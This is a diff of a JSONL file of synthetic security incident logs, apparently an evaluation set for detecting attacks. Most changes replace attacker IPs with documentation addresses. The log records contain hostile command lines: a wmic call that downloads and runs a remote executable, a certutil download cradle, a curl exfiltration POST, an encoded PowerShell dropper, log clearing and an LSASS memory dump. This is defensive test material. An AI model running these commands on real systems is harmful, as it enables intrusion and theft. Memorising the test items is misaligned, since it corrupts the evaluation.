"MAC-CFO-LAPTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wevtutil.exe", "CommandLine": "wevtutil cl Security"}@@ -240,12 +240,12 @@{"incident_id": "INC-EVAL-130", "template_id": "disable-edr-tooling", "event_index": 2, "source": "edr", "rule": "EDR tampering attempt", "severity": "critical", "Computer": "GCP-GKE-NODE-04", "User": "[email protected]"}{"incident_id": "INC-EVAL-131", "template_id": "lsass-memory-dump", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 10, "Computer": "GCP-GKE-NODE-04", "SourceImage": "C:\\Windows\\System32\\rundll32.exe", "TargetImage": "C:\\Windows\\System32\\lsass.exe", "GrantedAccess": "0x1010", "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump", "User": "[email protected]"}{"incident_id": "INC-EVAL-131", "template_id": "lsass-memory-dump", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\rundll32.exe", "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp", "User": "[email protected]"}-{"incident_id": "INC-EVAL-132", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}-{"incident_id": "INC-EVAL-132", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}+{"incident_id": "INC-EVAL-132", "template_id": "credential-spray", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.0.2.15", "resultType": 50126, "resultDescription": "Invalid username or password", "appDisplayName": "Office 365 Exchange Online", "attempt_count": 1500}+{"incident_id": "INC-EVAL-132", "template_id": "credential-spray", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.0.2.15", "resultType": 0, "resultDescription": "Success", "conditionalAccessStatus": "success", "riskLevelAggregated": "high"}{"incident_id": "INC-EVAL-133", "template_id": "kerberoasting", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "MSSQLSvc/sql.example.com", "TicketEncryptionType": "0x17", "IpAddress": "WIN-EXCHANGE-01"}{"incident_id": "INC-EVAL-133", "template_id": "kerberoasting", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4769, "Computer": "WIN-DC-PRIMARY", "TargetUserName": "[email protected]", "ServiceName": "HTTP/web01.example.com", "TicketEncryptionType": "0x17", "IpAddress": "WIN-EXCHANGE-01"}{"incident_id": "INC-EVAL-134", "template_id": "ad-dcsync", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectServer": "DS", "ObjectType": "domainDNS", "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "ClientIP": "WIN-FIN-DB01"}-{"incident_id": "INC-EVAL-135", "template_id": "saml-golden-ticket", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "45.142.122.111", "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Federated", "succeeded": true}], "tokenIssuerType": "ADFederationServices", "tokenIssuerName": "forged-adfs.example.com"}+{"incident_id": "INC-EVAL-135", "template_id": "saml-golden-ticket", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "203.0.113.111", "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Federated", "succeeded": true}], "tokenIssuerType": "ADFederationServices", "tokenIssuerName": "forged-adfs.example.com"}{"incident_id": "INC-EVAL-135", "template_id": "saml-golden-ticket", "event_index": 1, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Add member to role.", "UserId": "[email protected]", "ModifiedProperties": [{"Name": "Role.DisplayName", "NewValue": "Global Administrator"}]}{"incident_id": "INC-EVAL-136", "template_id": "ldap-bloodhound-discovery", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Tools\\SharpHound.exe", "DestinationIp": "WIN-DC-PRIMARY", "DestinationPort": 389, "User": "[email protected]"}{"incident_id": "INC-EVAL-136", "template_id": "ldap-bloodhound-discovery", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4662, "Computer": "WIN-DC-PRIMARY", "SubjectUserName": "[email protected]", "ObjectType": "user", "AccessMask": "0x100", "EventCount": 8400}@@ -254,15 +254,15 @@{"incident_id": "INC-EVAL-138", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "MAC-LEGAL-LAPTOP", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "LIN-DB-REPLICA", "LogonProcessName": "NtLmSsp"}{"incident_id": "INC-EVAL-138", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "MAC-LEGAL-LAPTOP", "Source": "LIN-DB-REPLICA", "User": "[email protected]", "threat_actor": "MagicWeb"}{"incident_id": "INC-EVAL-139", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "AWS-EC2-PROD-API", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "WIN-EXCHANGE-01", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}-{"incident_id": "INC-EVAL-140", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-CFO-LAPTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}+{"incident_id": "INC-EVAL-140", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-CFO-LAPTOP", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:MAC-LEGAL-LAPTOP process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}{"incident_id": "INC-EVAL-141", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "WIN-DC-PRIMARY", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}{"incident_id": "INC-EVAL-142", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}{"incident_id": "INC-EVAL-142", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}{"incident_id": "INC-EVAL-143", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.198.51.100.23.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-DC-PRIMARY", "dst_ip": "198.51.100.23", "response_size": 512, "qps": 240}-{"incident_id": "INC-EVAL-144", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-PROD-WEB02", "requestParameters": {"bucketName": "atk-stage-185.220.101.7", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-185.220.101.7/dump/customers.tar.gz"}]}+{"incident_id": "INC-EVAL-144", "template_id": "s3-exfil-cloud-storage", "event_index": 0, "source": "cloudtrail", "eventName": "PutObject", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "sourceIPAddress": "WIN-PROD-WEB02", "requestParameters": {"bucketName": "atk-stage-198.51.100.7", "key": "dump/customers.tar.gz"}, "resources": [{"ARN": "arn:aws:s3:::atk-stage-198.51.100.7/dump/customers.tar.gz"}]}{"incident_id": "INC-EVAL-145", "template_id": "personal-drive-exfil", "event_index": 0, "source": "web_access", "http_method": "POST", "url": "https://www.googleapis.com/upload/drive/v3/files", "status_code": 200, "src_host": "AWS-EC2-PROD-API", "src_user": "[email protected]", "bytes_out": 4300000000, "file_count": 812}{"incident_id": "INC-EVAL-146", "template_id": "dga-c2", "event_index": 0, "source": "dns", "query_name": "qkz3pl4vnxq2.com", "query_type": "A", "src_host": "GCP-GKE-NODE-04", "rcode": "NXDOMAIN", "qps_above_baseline": 50.0}-{"incident_id": "INC-EVAL-146", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "45.142.122.111", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Scattered Spider"}+{"incident_id": "INC-EVAL-146", "template_id": "dga-c2", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "GCP-GKE-NODE-04", "Image": "C:\\Windows\\System32\\svchost.exe", "DestinationIp": "203.0.113.111", "DestinationPort": 443, "Protocol": "tcp", "threat_actor": "Scattered Spider"}{"incident_id": "INC-EVAL-147", "template_id": "https-c2-beacon", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-DEVOPS-LT", "DestinationIp": "198.51.100.23", "DestinationPort": 443, "Protocol": "tcp", "ja3": "a0e9f5d64349fb13191bc781f81f42e1", "interval_secs": 60, "jitter_pct": 2}{"incident_id": "INC-EVAL-148", "template_id": "ransomware-encryption", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "LIN-DB-REPLICA", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc", "User": "[email protected]", "rename_rate_per_min": 4200}{"incident_id": "INC-EVAL-148", "template_id": "ransomware-encryption", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "LIN-DB-REPLICA", "Image": "C:\\ProgramData\\enc.exe", "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-Emotet epoch 5.txt", "User": "[email protected]"}@@ -270,22 +270,22 @@{"incident_id": "INC-EVAL-149", "template_id": "xmrig-cryptominer", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/tmp/xmrig", "a0": "xmrig", "a1": "-o", "a2": "10.0.99.42:5555", "hostname": "MAC-LEGAL-LAPTOP", "cpu_pct": 95}{"incident_id": "INC-EVAL-150", "template_id": "bec-wire-fraud", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "Send", "UserId": "[email protected]", "ClientIP": "WIN-FILE-SHARE", "Subject": "URGENT: Wire instructions from CFO", "From": "[email protected]", "ReplyTo": "[email protected]", "threat_actor": "APT29"}{"incident_id": "INC-EVAL-151", "template_id": "public-s3-bucket-pii", "event_index": 0, "source": "cloudtrail", "eventName": "PutBucketAcl", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "userIdentity": {"type": "IAMUser", "userName": "[email protected]"}, "requestParameters": {"bucketName": "aisoc-employees", "AccessControlPolicy": {"Grants": [{"Grantee": "AllUsers", "Permission": "READ"}]}}}-{"incident_id": "INC-EVAL-151", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "91.134.231.15", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}-{"incident_id": "INC-EVAL-152", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}+{"incident_id": "INC-EVAL-151", "template_id": "public-s3-bucket-pii", "event_index": 1, "source": "cloudtrail", "eventName": "ListObjectsV2", "eventSource": "s3.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.15", "requestParameters": {"bucketName": "aisoc-employees", "max-keys": 1000}, "userIdentity": {"type": "AnonymousUser"}}+{"incident_id": "INC-EVAL-152", "template_id": "azure-ad-impossible-travel", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.0.2.15", "location": {"city": "Vladivostok", "countryOrRegion": "RU"}, "resultType": 0, "authenticationDetails": [{"authenticationMethod": "Previously satisfied", "succeeded": true}], "riskEventTypes": ["unfamiliarFeatures", "unlikelyTravel"], "riskLevelAggregated": "high"}{"incident_id": "INC-EVAL-153", "template_id": "ddos-syn-flood", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "https://MAC-CFO-LAPTOP/", "status_code": 503, "pps": 1120000, "packet_type": "TCP-SYN", "edge_mitigation": "engaged", "duration_secs": 720}{"incident_id": "INC-EVAL-154", "template_id": "insider-mailbox-export", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-MailboxExportRequest", "UserId": "[email protected]", "Parameters": {"Mailbox": "[email protected]", "FilePath": "\\\\WIN-EXCHANGE-01\\export\\[email protected]"}, "Bytes": 8300000000}{"incident_id": "INC-EVAL-155", "template_id": "office-vsto-addin", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 13, "Computer": "WIN-DC-SECONDARY", "User": "[email protected]", "EventType": "SetValue", "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater", "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"}-{"incident_id": "INC-EVAL-155", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-DC-SECONDARY", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "45.142.122.111", "DestinationPort": 443}-{"incident_id": "INC-EVAL-156", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "45.142.122.111", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}+{"incident_id": "INC-EVAL-155", "template_id": "office-vsto-addin", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 3, "Computer": "WIN-DC-SECONDARY", "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE", "DestinationIp": "203.0.113.111", "DestinationPort": 443}+{"incident_id": "INC-EVAL-156", "template_id": "github-pat-leak", "event_index": 0, "source": "github_audit", "action": "git.clone", "actor": "[email protected]", "actor_ip": "203.0.113.111", "repo_count": 14, "programmatic_access_type": "personal_access_token", "user_agent": "git/2.40.0"}{"incident_id": "INC-EVAL-156", "template_id": "github-pat-leak", "event_index": 1, "source": "github_audit", "action": "push", "actor": "[email protected]", "repo": "[email protected]/dotfiles", "visibility": "public", "file_changed": ".env", "secret_detected": "github_pat_*"}{"incident_id": "INC-EVAL-157", "template_id": "ec2-imds-credential-theft", "event_index": 0, "source": "web_access", "http_method": "GET", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app", "status_code": 200, "src_host": "WIN-PROD-WEB02", "imds_version": "v1"}-{"incident_id": "INC-EVAL-157", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "91.134.231.15", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}+{"incident_id": "INC-EVAL-157", "template_id": "ec2-imds-credential-theft", "event_index": 1, "source": "cloudtrail", "eventName": "AssumeRole", "eventSource": "sts.amazonaws.com", "awsRegion": "us-east-1", "sourceIPAddress": "192.0.2.15", "userIdentity": {"type": "AssumedRole", "principalId": "AIDA:role-app", "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"}, "userAgent": "aws-cli/2.13"}{"incident_id": "INC-EVAL-158", "template_id": "helpdesk-password-reset-abuse", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Reset user password.", "UserId": "[email protected]", "TargetUserId": "[email protected]", "ClientIP": "10.0.0.50"}-{"incident_id": "INC-EVAL-158", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "91.134.231.15", "resultType": 0, "seconds_after_reset": 87}+{"incident_id": "INC-EVAL-158", "template_id": "helpdesk-password-reset-abuse", "event_index": 1, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "192.0.2.15", "resultType": 0, "seconds_after_reset": 87}{"incident_id": "INC-EVAL-159", "template_id": "oauth-refresh-token-theft", "event_index": 0, "source": "azure_signin", "category": "SignInLogs", "userPrincipalName": "[email protected]", "ipAddress": "10.0.99.42", "resultType": 0, "authenticationProtocol": "oAuth2", "grantType": "refresh_token", "resourceDisplayName": "Microsoft Graph"}{"incident_id": "INC-EVAL-160", "template_id": "malicious-container-image", "event_index": 0, "source": "k8s_audit", "apiVersion": "audit.k8s.io/v1", "kind": "Event", "verb": "create", "objectRef": {"resource": "pods"}, "user": {"username": "system:serviceaccount:default:deploy"}, "requestObject": {"spec": {"containers": [{"image": "registry.local/repo:malicious-backdoor"}]}}, "node": "AZURE-VM-FIN-001"}{"incident_id": "INC-EVAL-160", "template_id": "malicious-container-image", "event_index": 1, "source": "edr", "rule": "Image scan: embedded netcat reverse-shell binary", "severity": "high", "Computer": "AZURE-VM-FIN-001", "image": "registry.local/repo:malicious-backdoor", "cve_layer_count": 2}-{"incident_id": "INC-EVAL-161", "template_id": "outlook-auto-forward-rule", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Sync", "ForwardTo": "[email protected]", "DeleteMessage": true, "MarkAsRead": true}, "threat_actor": "LockBit 3.0"}+{"incident_id": "INC-EVAL-161", "template_id": "outlook-auto-forward-rule", "event_index": 0, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Sync", "ForwardTo": "[email protected]", "DeleteMessage": true, "MarkAsRead": true}, "threat_actor": "LockBit 3.0"}{"incident_id": "INC-EVAL-162", "template_id": "linux-journald-tampering", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/journalctl", "a0": "journalctl", "a1": "--rotate", "a2": "--vacuum-time=1s", "hostname": "WIN-PROD-WEB02", "user": "[email protected]"}{"incident_id": "INC-EVAL-163", "template_id": "compromised-ci-runner", "event_index": 0, "source": "github_audit", "action": "workflow_run.requested", "workflow": "deploy.yml", "actor": "external-contrib", "repository": "aisoc/web", "event": "pull_request", "runner": "AZURE-VM-FIN-001"}{"incident_id": "INC-EVAL-163", "template_id": "compromised-ci-runner", "event_index": 1, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/curl", "a1": "-X", "a2": "POST", "a3": "https://172.16.50.7/exfil", "hostname": "AZURE-VM-FIN-001", "user": "ci-runner", "secret_detected": true}@@ -301,11 +301,11 @@{"incident_id": "INC-EVAL-168", "template_id": "confluence-watering-hole", "event_index": 1, "source": "edr", "rule": "Browser exploitation: drive-by JavaScript loader", "severity": "high", "Computer": "WIN-HR-DESKTOP", "User": "[email protected]", "threat_actor": "ALPHV/BlackCat"}{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 0, "source": "linux_auditd", "type": "SYSCALL", "syscall": "execve", "exe": "/usr/bin/node", "a0": "node", "a1": "/tmp/node_modules/event-stream/postinstall.js", "hostname": "WIN-PROD-WEB02", "user": "ci-runner"}{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 1, "source": "github_audit", "action": "workflow_run.completed", "workflow": "ci.yml", "actor": "dependabot[bot]", "repository": "aisoc/web", "conclusion": "success", "package_added": "[email protected]"}-{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 2, "source": "edr", "rule": "npm post-install reverse shell", "severity": "high", "Computer": "WIN-PROD-WEB02", "User": "ci-runner", "dest_ip": "91.134.231.15", "dest_port": 4444}+{"incident_id": "INC-EVAL-169", "template_id": "npm-supply-chain", "event_index": 2, "source": "edr", "rule": "npm post-install reverse shell", "severity": "high", "Computer": "WIN-PROD-WEB02", "User": "ci-runner", "dest_ip": "192.0.2.15", "dest_port": 4444}{"incident_id": "INC-EVAL-170", "template_id": "usb-autorun-airgap", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 6416, "Computer": "AWS-EC2-PROD-API", "SubjectUserName": "[email protected]", "ClassName": "USB", "DeviceDescription": "SanDisk Cruzer 16GB"}{"incident_id": "INC-EVAL-170", "template_id": "usb-autorun-airgap", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "Image": "C:\\Python311\\python.exe", "ParentImage": "C:\\Windows\\System32\\rundll32.exe", "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"}{"incident_id": "INC-EVAL-171", "template_id": "oauth-consent-phish", "event_index": 0, "source": "m365_audit", "Workload": "AzureActiveDirectory", "Operation": "Consent to application.", "UserId": "[email protected]", "ApplicationId": "00000003-0000-0ff1-ce00-000000000000", "ConsentedScopes": ["Mail.Read", "Files.Read.All", "offline_access"]}-{"incident_id": "INC-EVAL-171", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}+{"incident_id": "INC-EVAL-171", "template_id": "oauth-consent-phish", "event_index": 1, "source": "m365_audit", "Workload": "Exchange", "Operation": "New-InboxRule", "UserId": "[email protected]", "Parameters": {"Name": "Auto-fwd", "ForwardTo": "[email protected]", "DeleteMessage": true}}{"incident_id": "INC-EVAL-172", "template_id": "powershell-obfuscated-dropper", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "ParentImage": "C:\\Windows\\explorer.exe", "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."}{"incident_id": "INC-EVAL-172", "template_id": "powershell-obfuscated-dropper", "event_index": 1, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4104, "Computer": "AWS-EC2-PROD-API", "User": "[email protected]", "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)", "threat_actor": "Volt Typhoon"}{"incident_id": "INC-EVAL-173", "template_id": "certutil-download-cradle", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "MAC-LEGAL-LAPTOP", "Image": "C:\\Windows\\System32\\certutil.exe", "ParentImage": "C:\\Windows\\System32\\cmd.exe", "CommandLine": "certutil -urlcache -split -f http://192.168.1.100/p.exe %TEMP%\\p.exe"}@@ -352,10 +352,10 @@{"incident_id": "INC-EVAL-193", "template_id": "pass-the-hash-lateral", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "AWS-EC2-PROD-API", "TargetUserName": "[email protected]", "LogonType": 3, "AuthenticationPackageName": "NTLM", "IpAddress": "WIN-EXCHANGE-01", "LogonProcessName": "NtLmSsp"}{"incident_id": "INC-EVAL-193", "template_id": "pass-the-hash-lateral", "event_index": 1, "source": "edr", "rule": "Pass-the-hash indicators (NTLM hash reuse)", "severity": "high", "Computer": "AWS-EC2-PROD-API", "Source": "WIN-EXCHANGE-01", "User": "[email protected]", "threat_actor": "Lazarus"}{"incident_id": "INC-EVAL-194", "template_id": "rdp-lateral-movement", "event_index": 0, "source": "windows_security", "channel": "Security", "Provider": "Microsoft-Windows-Security-Auditing", "EventID": 4624, "Computer": "MAC-CFO-LAPTOP", "TargetUserName": "[email protected]", "LogonType": 10, "IpAddress": "WIN-DEVOPS-LT", "LogonProcessName": "User32", "EventTimeUTC": "03:14:00Z"}-{"incident_id": "INC-EVAL-195", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}+{"incident_id": "INC-EVAL-195", "template_id": "wmi-lateral-execution", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 1, "Computer": "WIN-FILE-SHARE", "User": "[email protected]", "Image": "C:\\Windows\\System32\\wbem\\wmic.exe", "CommandLine": "wmic /node:LIN-DB-REPLICA process call create \"cmd /c curl http://192.0.2.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""}{"incident_id": "INC-EVAL-196", "template_id": "bulk-pii-download", "event_index": 0, "source": "db_audit", "operation": "SELECT", "user": "[email protected]", "src_host": "LIN-K8S-NODE01", "database": "prod_customers", "table": "customer_records", "rows_returned": 4200000, "bytes": 10700000000}{"incident_id": "INC-EVAL-197", "template_id": "clipboard-keylogger", "event_index": 0, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 24, "Computer": "WIN-PROD-WEB02", "User": "[email protected]", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "Hashes": "SHA256=abc..."}{"incident_id": "INC-EVAL-197", "template_id": "clipboard-keylogger", "event_index": 1, "source": "sysmon", "channel": "Microsoft-Windows-Sysmon/Operational", "Provider": "Microsoft-Windows-Sysmon", "EventID": 11, "Computer": "WIN-PROD-WEB02", "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe", "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log", "User": "[email protected]"}{"incident_id": "INC-EVAL-198", "template_id": "dns-tunnel-exfil", "event_index": 0, "source": "dns", "query_name": "aGVsbG8gd29ybGQK.exfil.203.0.113.45.in-addr.arpa", "query_type": "TXT", "src_host": "WIN-PROD-WEB02", "dst_ip": "203.0.113.45", "response_size": 512, "qps": 